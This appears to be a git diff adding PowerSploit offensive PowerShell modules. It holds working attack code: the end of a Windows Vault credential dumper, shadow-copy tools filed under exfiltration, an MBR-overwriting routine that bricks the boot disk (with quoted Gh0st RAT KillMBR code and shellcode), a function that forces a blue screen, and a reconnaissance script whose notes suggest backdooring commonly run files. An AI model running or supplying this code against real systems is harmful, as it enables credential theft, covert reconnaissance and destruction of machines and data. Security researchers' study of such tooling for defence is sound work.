+ foreach ($i in 1..$VaultCount) + { + $VaultGuid = [Runtime.InteropServices.Marshal]::PtrToStructure($GuidAddress, [Type] [Guid]) + $GuidAddress = [IntPtr] ($GuidAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] [Guid])) + + $VaultHandle = [IntPtr]::Zero + + Write-Verbose "Opening vault - $($VaultSchema[$VaultGuid]) ($($VaultGuid))" + + $Result = $Vaultcli::VaultOpenVault([Ref] $VaultGuid, 0, [Ref] $VaultHandle) + + if ($Result -ne 0) + { + Write-Error "Unable to open the following vault: $($VaultSchema[$VaultGuid]). Error (0x$($Result.ToString('X8')))" + continue + } + + $VaultItemCount = 0 + $VaultItemPtr = [IntPtr]::Zero + + $Result = $Vaultcli::VaultEnumerateItems($VaultHandle, 512, [Ref] $VaultItemCount, [Ref] $VaultItemPtr) + + if ($Result -ne 0) + { + $null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle) + Write-Error "Unable to enumerate vault items from the following vault: $($VaultSchema[$VaultGuid]). Error (0x$($Result.ToString('X8')))" + continue + } + + $StructAddress = $VaultItemPtr + + if ($VaultItemCount) + { + foreach ($j in 1..$VaultItemCount) + { + $CurrentItem = [Runtime.InteropServices.Marshal]::PtrToStructure($StructAddress, [Type] $VAULT_ITEM) + $StructAddress = [IntPtr] ($StructAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] $VAULT_ITEM)) + + $PasswordVaultItem = [IntPtr]::Zero + + if ($OSMajor -ge 6 -and $OSMinor -ge 2) + { + $Result = $Vaultcli::VaultGetItem($VaultHandle, + [Ref] $CurrentItem.SchemaId, + $CurrentItem.pResourceElement, + $CurrentItem.pIdentityElement, + $CurrentItem.pPackageSid, + [IntPtr]::Zero, + 0, + [Ref] $PasswordVaultItem) + } + else + { + $Result = $Vaultcli::VaultGetItem($VaultHandle, + [Ref] $CurrentItem.SchemaId, + $CurrentItem.pResourceElement, + $CurrentItem.pIdentityElement, + [IntPtr]::Zero, + 0, + [Ref] $PasswordVaultItem) + } + + $PasswordItem = $null + + if ($Result -ne 0) + { + Write-Error "Error occured retrieving vault item. Error (0x$($Result.ToString('X8')))" + continue + } + else + { + $PasswordItem = [Runtime.InteropServices.Marshal]::PtrToStructure($PasswordVaultItem, [Type] $VAULT_ITEM) + } + + if ($VaultSchema.ContainsKey($VaultGuid)) + { + $VaultType = $VaultSchema[$VaultGuid] + } + else + { + $VaultType = $VaultGuid + } + + if ($PasswordItem.pAuthenticatorElement -ne [IntPtr]::Zero) + { + $Credential = Get-VaultElementValue $PasswordItem.pAuthenticatorElement + } + else + { + $Credential = $null + } + + $PackageSid = $null + + if ($CurrentItem.pPackageSid -and ($CurrentItem.pPackageSid -ne [IntPtr]::Zero)) + { + $PackageSid = Get-VaultElementValue $CurrentItem.pPackageSid + } + + + $Properties = @{ + Vault = $VaultType + Resource = if ($CurrentItem.pResourceElement) { Get-VaultElementValue $CurrentItem.pResourceElement } else { $null } + Identity = if ($CurrentItem.pIdentityElement) { Get-VaultElementValue $CurrentItem.pIdentityElement } else { $null } + PackageSid = $PackageSid + Credential = $Credential + LastModified = [DateTime]::FromFileTimeUtc($CurrentItem.LastModified) + } + + $VaultItem = New-Object PSObject -Property $Properties + $VaultItem.PSObject.TypeNames[0] = 'VAULTCLI.VAULTITEM' + + $VaultItem + + $null = $Vaultcli::VaultFree($PasswordVaultItem) + } + } + + $null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle) + } + } +} \ No newline at end of file diff --git a/Exfiltration/VolumeShadowCopyTools.ps1 b/Exfiltration/VolumeShadowCopyTools.ps1 index e69de29b..49fe22de 100644 --- a/Exfiltration/VolumeShadowCopyTools.ps1 +++ b/Exfiltration/VolumeShadowCopyTools.ps1 @@ -0,0 +1,292 @@ +function Get-VolumeShadowCopy +{ +<# +.SYNOPSIS + + Lists the device paths of all local volume shadow copies. + + PowerSploit Function: Get-VolumeShadowCopy + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + Version: 2.0.0 +#> + + $UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()) + + if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) + { + Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.' + } + + Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | ForEach-Object { $_.DeviceObject } +} + +function New-VolumeShadowCopy +{ +<# +.SYNOPSIS + + Creates a new volume shadow copy. + + PowerSploit Function: New-VolumeShadowCopy + Author: Jared Atkinson (@jaredcatkinson) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + Version: 2.0.0 + +.DESCRIPTION + + New-VolumeShadowCopy creates a volume shadow copy for the specified volume. + +.PARAMETER Volume + + Volume used for the shadow copy. This volume is sometimes referred to as the original volume. + The Volume parameter can be specified as a volume drive letter, mount point, or volume globally unique identifier (GUID) name. + +.PARAMETER Context + + Context that the provider uses when creating the shadow. The default is "ClientAccessible". + +.EXAMPLE + + New-VolumeShadowCopy -Volume C:\ + + Description + ----------- + Creates a new VolumeShadowCopy of the C drive +#> + Param( + [Parameter(Mandatory = $True)] + [ValidatePattern('^\w:\\')] + [String] + $Volume, + + [Parameter(Mandatory = $False)] + [ValidateSet("ClientAccessible")] + [String] + $Context = "ClientAccessible" + ) + + $UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()) + + if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) + { + Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.' + } + + # Save VSS Service initial state + $running = (Get-Service -Name VSS).Status + + $class = [WMICLASS]"root\cimv2:win32_shadowcopy" + + $return = $class.create("$Volume", "$Context") + + switch($return.returnvalue) + { + 1 {Write-Error "Access denied."; break} + 2 {Write-Error "Invalid argument."; break} + 3 {Write-Error "Specified volume not found."; break} + 4 {Write-Error "Specified volume not supported."; break} + 5 {Write-Error "Unsupported shadow copy context."; break} + 6 {Write-Error "Insufficient storage."; break} + 7 {Write-Error "Volume is in use."; break} + 8 {Write-Error "Maximum number of shadow copies reached."; break} + 9 {Write-Error "Another shadow copy operation is already in progress."; break} + 10 {Write-Error "Shadow copy provider vetoed the operation."; break} + 11 {Write-Error "Shadow copy provider not registered."; break} + 12 {Write-Error "Shadow copy provider failure."; break} + 13 {Write-Error "Unknown error."; break} + default {break} + } + + # If VSS Service was Stopped at the start, return VSS to "Stopped" state + if($running -eq "Stopped") + { + Stop-Service -Name VSS + } +} + +function Remove-VolumeShadowCopy +{ +<# +.SYNOPSIS + + Deletes a volume shadow copy. + + PowerSploit Function: Remove-VolumeShadowCopy + Author: Jared Atkinson (@jaredcatkinson) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + Version: 2.0.0 + +.DESCRIPTION + + Remove-VolumeShadowCopy deletes a volume shadow copy from the system. + +.PARAMETER InputObject + + Specifies the Win32_ShadowCopy object to remove + +.PARAMETER DevicePath + + Specifies the volume shadow copy 'DeviceObject' path. This path can be retrieved with the Get-VolumeShadowCopy PowerSploit function or with the Win32_ShadowCopy object. + +.EXAMPLE + + Get-VolumeShadowCopy | Remove-VolumeShadowCopy + + Description + ----------- + Removes all volume shadow copy + +.EXAMPLE + + Remove-VolumeShadowCopy -DevicePath '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4' + + Description + ----------- + Removes the volume shadow copy at the 'DeviceObject' path \\?\GLOBALROOT\DeviceHarddiskVolumeShadowCopy4 +#> + [CmdletBinding(SupportsShouldProcess = $True)] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True)] + [ValidatePattern('^\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[0-9]{1,3}$')] + [String] + $DevicePath + ) + + PROCESS + { + if($PSCmdlet.ShouldProcess("The VolumeShadowCopy at DevicePath $DevicePath will be removed")) + { + (Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | Where-Object {$_.DeviceObject -eq $DevicePath}).Delete() + } + } +} + +function Mount-VolumeShadowCopy +{ +<# +.SYNOPSIS + + Mounts a volume shadow copy. + + PowerSploit Function: Mount-VolumeShadowCopy + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + Version: 2.0.0 + +.DESCRIPTION + + Mount-VolumeShadowCopy mounts a volume shadow copy volume by creating a symbolic link. + +.PARAMETER Path + + Specifies the path to which the symbolic link for the mounted volume shadow copy will be saved. + +.PARAMETER DevicePath + + Specifies the volume shadow copy 'DeviceObject' path. This path can be retrieved with the Get-VolumeShadowCopy PowerSploit function or with the Win32_ShadowCopy object. + +.EXAMPLE + + Get-VolumeShadowCopy | Mount-VolumeShadowCopy -Path C:\VSS + + Description + ----------- + Create a mount point in 'C:\VSS' for each volume shadow copy volume + +.EXAMPLE + + Mount-VolumeShadowCopy -Path C:\VSS -DevicePath '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4' + +.EXAMPLE + + Get-WmiObject Win32_ShadowCopy | % { $_.DeviceObject -Path C:\VSS -DevicePath $_ } +#> + + Param ( + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $Path, + + [Parameter(Mandatory = $True, ValueFromPipeline = $True)] + [ValidatePattern('^\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[0-9]{1,3}$')] + [String[]] + $DevicePath + ) + + BEGIN + { + $UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()) + + if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) + { + Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.' + } + + # Validate that the path exists before proceeding + Get-ChildItem $Path -ErrorAction Stop | Out-Null + + $DynAssembly = New-Object System.Reflection.AssemblyName('VSSUtil') + $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('VSSUtil', $False) + + # Define [VSS.Kernel32]::CreateSymbolicLink method using reflection + # (i.e. none of the forensic artifacts left with using Add-Type) + $TypeBuilder = $ModuleBuilder.DefineType('VSS.Kernel32', 'Public, Class') + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateSymbolicLink', + 'kernel32.dll', + ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), + [Reflection.CallingConventions]::Standard, + [Bool], + [Type[]]@([String], [String], [UInt32]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) + $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') + $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, + @('kernel32.dll'), + [Reflection.FieldInfo[]]@($SetLastError), + @($true)) + $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) + + $Kernel32Type = $TypeBuilder.CreateType() + } + + PROCESS + { + foreach ($Volume in $DevicePath) + { + $Volume -match '^\\\\\?\\GLOBALROOT\\Device\\(?HarddiskVolumeShadowCopy[0-9]{1,3})$' | Out-Null + + $LinkPath = Join-Path $Path $Matches.LinkName + + if (Test-Path $LinkPath) + { + Write-Warning "'$LinkPath' already exists." + continue + } + + if (-not $Kernel32Type::CreateSymbolicLink($LinkPath, "$($Volume)\", 1)) + { + Write-Error "Symbolic link creation failed for '$Volume'." + continue + } + + Get-Item $LinkPath + } + } + + END + { + + } +} \ No newline at end of file diff --git a/Mayhem/Mayhem.psd1 b/Mayhem/Mayhem.psd1 index e69de29b..82035d8e 100644 --- a/Mayhem/Mayhem.psd1 +++ b/Mayhem/Mayhem.psd1 @@ -0,0 +1,87 @@ +@{ + +# Script module or binary module file associated with this manifest. +ModuleToProcess = 'Mayhem.psm1' + +# Version number of this module. +ModuleVersion = '1.0.0.0' + +# ID used to uniquely identify this module +GUID = 'e65b93ff-63ba-4c38-97f1-bc4fe5a6651c' + +# Author of this module +Author = 'Matthew Graeber' + +# Company or vendor of this module +CompanyName = '' + +# Copyright statement for this module +Copyright = 'BSD 3-Clause' + +# Description of the functionality provided by this module +Description = 'PowerSploit Mayhem Module' + +# Minimum version of the Windows PowerShell engine required by this module +PowerShellVersion = '2.0' + +# Name of the Windows PowerShell host required by this module +# PowerShellHostName = '' + +# Minimum version of the Windows PowerShell host required by this module +# PowerShellHostVersion = '' + +# Minimum version of the .NET Framework required by this module +# DotNetFrameworkVersion = '' + +# Minimum version of the common language runtime (CLR) required by this module +# CLRVersion = '' + +# Processor architecture (None, X86, Amd64) required by this module +# ProcessorArchitecture = '' + +# Modules that must be imported into the global environment prior to importing this module +# RequiredModules = @() + +# Assemblies that must be loaded prior to importing this module +# RequiredAssemblies = @() + +# Script files (.ps1) that are run in the caller's environment prior to importing this module. +# ScriptsToProcess = '' + +# Type files (.ps1xml) to be loaded when importing this module +# TypesToProcess = @() + +# Format files (.ps1xml) to be loaded when importing this module +# FormatsToProcess = @() + +# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess +# NestedModules = @() + +# Functions to export from this module +FunctionsToExport = '*' + +# Cmdlets to export from this module +CmdletsToExport = '*' + +# Variables to export from this module +VariablesToExport = '' + +# Aliases to export from this module +AliasesToExport = '' + +# List of all modules packaged with this module. +ModuleList = @(@{ModuleName = 'Mayhem'; ModuleVersion = '1.0.0.0'; GUID = 'e65b93ff-63ba-4c38-97f1-bc4fe5a6651c'}) + +# List of all files packaged with this module +FileList = 'Mayhem.psm1', 'Mayhem.psd1', 'Usage.md' + +# Private data to pass to the module specified in RootModule/ModuleToProcess +# PrivateData = '' + +# HelpInfo URI of this module +# HelpInfoURI = '' + +# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. +# DefaultCommandPrefix = '' + +} diff --git a/Mayhem/Mayhem.psm1 b/Mayhem/Mayhem.psm1 index e69de29b..0b4f843c 100644 --- a/Mayhem/Mayhem.psm1 +++ b/Mayhem/Mayhem.psm1 @@ -0,0 +1,366 @@ +function Set-MasterBootRecord +{ +<# +.SYNOPSIS + + Proof of concept code that overwrites the master boot record with the + message of your choice. + + PowerSploit Function: Set-MasterBootRecord + Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + +.DESCRIPTION + + Set-MasterBootRecord is proof of concept code designed to show that it is + possible with PowerShell to overwrite the MBR. This technique was taken + from a public malware sample. This script is inteded solely as proof of + concept code. + +.PARAMETER BootMessage + + Specifies the message that will be displayed upon making your computer a brick. + +.PARAMETER RebootImmediately + + Reboot the machine immediately upon overwriting the MBR. + +.PARAMETER Force + + Suppress the warning prompt. + +.EXAMPLE + + Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC' + +.NOTES + + Obviously, this will only work if you have a master boot record to + overwrite. This won't work if you have a GPT (GUID partition table) +#> + +<# +This code was inspired by the Gh0st RAT source code seen here (acquired from: http://webcache.googleusercontent.com/search?q=cache:60uUuXfQF6oJ:read.pudn.com/downloads116/sourcecode/hack/trojan/494574/gh0st3.6_%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581/gh0st/gh0st.cpp__.htm+&cd=3&hl=en&ct=clnk&gl=us): + +// CGh0stApp message handlers + +unsigned char scode[] = +"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c" +"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72" +"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29"; + +int CGh0stApp::KillMBR() +{ + HANDLE hDevice; + DWORD dwBytesWritten, dwBytesReturned; + BYTE pMBR[512] = {0}; + + // 重新构造MBR + memcpy(pMBR, scode, sizeof(scode) - 1); + pMBR[510] = 0x55; + pMBR[511] = 0xAA; + + hDevice = CreateFile + ( + "\\\\.\\PHYSICALDRIVE0", + GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, + OPEN_EXISTING, + 0, + NULL + ); + if (hDevice == INVALID_HANDLE_VALUE) + return -1; + DeviceIoControl + ( + hDevice, + FSCTL_LOCK_VOLUME, + NULL, + 0, + NULL, + 0, + &dwBytesReturned, + NULL + ); + // 写入病毒内容 + WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL); + DeviceIoControl + ( + hDevice, + FSCTL_UNLOCK_VOLUME, + NULL, + 0, + NULL, + 0, + &dwBytesReturned, + NULL + ); + CloseHandle(hDevice); + + ExitProcess(-1); + return 0; +} +#> + + [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param ( + [ValidateLength(1, 479)] + [String] + $BootMessage = 'Stop-Crying; Get-NewHardDrive', + + [Switch] + $RebootImmediately, + + [Switch] + $Force + ) + + if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) + { + throw 'This script must be executed from an elevated command prompt.' + } + + if (!$Force) + { + if (!$psCmdlet.ShouldContinue('Do you want to continue?','Set-MasterBootRecord prevent your machine from booting.')) + { + return + } + } + + #region define P/Invoke types dynamically + $DynAssembly = New-Object System.Reflection.AssemblyName('Win32') + $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False) + + $TypeBuilder = $ModuleBuilder.DefineType('Win32.Kernel32', 'Public, Class') + $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) + $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') + $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, + @('kernel32.dll'), + [Reflection.FieldInfo[]]@($SetLastError), + @($True)) + + # Define [Win32.Kernel32]::DeviceIoControl + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeviceIoControl', + 'kernel32.dll', + ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), + [Reflection.CallingConventions]::Standard, + [Bool], + [Type[]]@([IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) + + # Define [Win32.Kernel32]::CreateFile + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateFile', + 'kernel32.dll', + ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), + [Reflection.CallingConventions]::Standard, + [IntPtr], + [Type[]]@([String], [Int32], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Ansi) + $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) + + # Define [Win32.Kernel32]::WriteFile + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('WriteFile', + 'kernel32.dll', + ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), + [Reflection.CallingConventions]::Standard, + [Bool], + [Type[]]@([IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Ansi) + $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) + + # Define [Win32.Kernel32]::CloseHandle + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CloseHandle', + 'kernel32.dll', + ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), + [Reflection.CallingConventions]::Standard, + [Bool], + [Type[]]@([IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) + + $Kernel32 = $TypeBuilder.CreateType() + #endregion + + $LengthBytes = [BitConverter]::GetBytes(([Int16] ($BootMessage.Length + 5))) + # Convert the boot message to a byte array + $MessageBytes = [Text.Encoding]::ASCII.GetBytes(('PS > ' + $BootMessage)) + + [Byte[]] $MBRInfectionCode = @( + 0xb8, 0x12, 0x00, # MOV AX, 0x0012 ; CMD: Set video mode, ARG: text resolution 80x30, pixel resolution 640x480, colors 16/256K, VGA + 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set video mode + 0xb8, 0x00, 0x0B, # MOV AX, 0x0B00 ; CMD: Set background color + 0xbb, 0x01, 0x00, # MOV BX, 0x000F ; Background color: Blue + 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set background color + 0xbd, 0x20, 0x7c, # MOV BP, 0x7C18 ; Offset to string: 0x7C00 (base of MBR code) + 0x20 + 0xb9) + $LengthBytes + @( # MOV CX, 0x0018 ; String length + 0xb8, 0x01, 0x13, # MOV AX, 0x1301 ; CMD: Write string, ARG: Assign BL attribute (color) to all characters + 0xbb, 0x0f, 0x00, # MOV BX, 0x000F ; Page Num: 0, Color: White + 0xba, 0x00, 0x00, # MOV DX, 0x0000 ; Row: 0, Column: 0 + 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Write string + 0xe2, 0xfe # LOOP 0x16 ; Print all characters to the buffer + ) + $MessageBytes + + $MBRSize = [UInt32] 512 + + if ($MBRInfectionCode.Length -gt ($MBRSize - 2)) + { + throw "The size of the MBR infection code cannot exceed $($MBRSize - 2) bytes." + } + + # Allocate 512 bytes for the MBR + $MBRBytes = [Runtime.InteropServices.Marshal]::AllocHGlobal($MBRSize) + + # Zero-initialize the allocated unmanaged memory + 0..511 | % { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) } + + [Runtime.InteropServices.Marshal]::Copy($MBRInfectionCode, 0, $MBRBytes, $MBRInfectionCode.Length) + + # Write boot record signature to the end of the MBR + [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 2)), 0x55) + [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 1)), 0xAA) + + # Get the device ID of the boot disk + $DeviceID = Get-WmiObject -Class Win32_DiskDrive -Filter 'Index = 0' | Select-Object -ExpandProperty DeviceID + + $GENERIC_READWRITE = 0x80000000 -bor 0x40000000 + $FILE_SHARE_READWRITE = 2 -bor 1 + $OPEN_EXISTING = 3 + + # Obtain a read handle to the raw disk + $DriveHandle = $Kernel32::CreateFile($DeviceID, $GENERIC_READWRITE, $FILE_SHARE_READWRITE, 0, $OPEN_EXISTING, 0, 0) + + if ($DriveHandle -eq ([IntPtr] 0xFFFFFFFF)) + { + throw "Unable to obtain read/write handle to $DeviceID" + } + + $BytesReturned = [UInt32] 0 + $BytesWritten = [UInt32] 0 + $FSCTL_LOCK_VOLUME = 0x00090018 + $FSCTL_UNLOCK_VOLUME = 0x0009001C + + $null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_LOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0) + $null = $Kernel32::WriteFile($DriveHandle, $MBRBytes, $MBRSize, [Ref] $BytesWritten, 0) + $null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_UNLOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0) + $null = $Kernel32::CloseHandle($DriveHandle) + + Start-Sleep -Seconds 2 + + [Runtime.InteropServices.Marshal]::FreeHGlobal($MBRBytes) + + Write-Verbose 'Master boot record overwritten successfully.' + + if ($RebootImmediately) + { + Restart-Computer -Force + } +} + +function Set-CriticalProcess +{ +<# +.SYNOPSIS + +Causes your machine to blue screen upon exiting PowerShell. + +PowerSploit Function: Set-CriticalProcess +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.PARAMETER ExitImmediately + +Immediately exit PowerShell after successfully marking the process as critical. + +.PARAMETER Force + +Set the running PowerShell process as critical without asking for confirmation. + +.EXAMPLE + +Set-CriticalProcess + +.EXAMPLE + +Set-CriticalProcess -ExitImmediately + +.EXAMPLE + +Set-CriticalProcess -Force -Verbose + +#> + + [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param ( + [Switch] + $Force, + + [Switch] + $ExitImmediately + ) + + if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) + { + throw 'You must run Set-CriticalProcess from an elevated PowerShell prompt.' + } + + $Response = $True + + if (!$Force) + { + $Response = $psCmdlet.ShouldContinue('Have you saved all your work?', 'The machine will blue screen when you exit PowerShell.') + } + + if (!$Response) + { + return + } + + $DynAssembly = New-Object System.Reflection.AssemblyName('BlueScreen') + $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('BlueScreen', $False) + + # Define [ntdll]::NtQuerySystemInformation method + $TypeBuilder = $ModuleBuilder.DefineType('BlueScreen.Win32.ntdll', 'Public, Class') + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('NtSetInformationProcess', + 'ntdll.dll', + ([Reflection.MethodAttributes] 'Public, Static'), + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([IntPtr], [UInt32], [IntPtr].MakeByRefType(), [UInt32]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + + $ntdll = $TypeBuilder.CreateType() + + $ProcHandle = [Diagnostics.Process]::GetCurrentProcess().Handle + $ReturnPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(4) + + $ProcessBreakOnTermination = 29 + $SizeUInt32 = 4 + + try + { + $null = $ntdll::NtSetInformationProcess($ProcHandle, $ProcessBreakOnTermination, [Ref] $ReturnPtr, $SizeUInt32) + } + catch + { + return + } + + Write-Verbose 'PowerShell is now marked as a critical process and will blue screen the machine upon exiting the process.' + + if ($ExitImmediately) + { + Stop-Process -Id $PID + } +} \ No newline at end of file diff --git a/Recon/Get-ComputerDetails.ps1 b/Recon/Get-ComputerDetails.ps1 index e69de29b..63ac1cb6 100644 --- a/Recon/Get-ComputerDetails.ps1 +++ b/Recon/Get-ComputerDetails.ps1 @@ -0,0 +1,580 @@ +function Get-ComputerDetails +{ +<# +.SYNOPSIS + +This script is used to get useful information from a computer. + +Function: Get-ComputerDetails +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None +Version: 1.1 + +.DESCRIPTION + +This script is used to get useful information from a computer. Currently, the script gets the following information: +-Explicit Credential Logons (Event ID 4648) +-Logon events (Event ID 4624) +-AppLocker logs to find what processes are created +-PowerShell logs to find PowerShell scripts which have been executed +-RDP Client Saved Servers, which indicates what servers the user typically RDP's in to + +.PARAMETER ToString + +Switch: Outputs the data as text instead of objects, good if you are using this script through a backdoor. + +.EXAMPLE + +Get-ComputerDetails +Gets information about the computer and outputs it as PowerShell objects. + +Get-ComputerDetails -ToString +Gets information about the computer and outputs it as raw text. + +.NOTES +This script is useful for fingerprinting a server to see who connects to this server (from where), and where users on this server connect to. +You can also use it to find Powershell scripts and executables which are typically run, and then use this to backdoor those files. + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell + +#> + + Param( + [Parameter(Position=0)] + [Switch] + $ToString + ) + + Set-StrictMode -Version 2 + + + + $SecurityLog = Get-EventLog -LogName Security + $Filtered4624 = Find-4624Logons $SecurityLog + $Filtered4648 = Find-4648Logons $SecurityLog + $AppLockerLogs = Find-AppLockerLogs + $PSLogs = Find-PSScriptsInPSAppLog + $RdpClientData = Find-RDPClientConnections + + if ($ToString) + { + Write-Output "Event ID 4624 (Logon):" + Write-Output $Filtered4624.Values | Format-List + Write-Output "Event ID 4648 (Explicit Credential Logon):" + Write-Output $Filtered4648.Values | Format-List + Write-Output "AppLocker Process Starts:" + Write-Output $AppLockerLogs.Values | Format-List + Write-Output "PowerShell Script Executions:" + Write-Output $PSLogs.Values | Format-List + Write-Output "RDP Client Data:" + Write-Output $RdpClientData.Values | Format-List + } + else + { + $Properties = @{ + LogonEvent4624 = $Filtered4624.Values + LogonEvent4648 = $Filtered4648.Values + AppLockerProcessStart = $AppLockerLogs.Values + PowerShellScriptStart = $PSLogs.Values + RdpClientData = $RdpClientData.Values + } + + $ReturnObj = New-Object PSObject -Property $Properties + return $ReturnObj + } +} + + +function Find-4648Logons +{ +<# +.SYNOPSIS + +Retrieve the unique 4648 logon events. This will often find cases where a user is using remote desktop to connect to another computer. It will give the +the account that RDP was launched with and the account name of the account being used to connect to the remote computer. This is useful +for identifying normal authenticaiton patterns. Other actions that will trigger this include any runas action. + +Function: Find-4648Logons +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None +Version: 1.1 + +.DESCRIPTION + +Retrieve the unique 4648 logon events. This will often find cases where a user is using remote desktop to connect to another computer. It will give the +the account that RDP was launched with and the account name of the account being used to connect to the remote computer. This is useful +for identifying normal 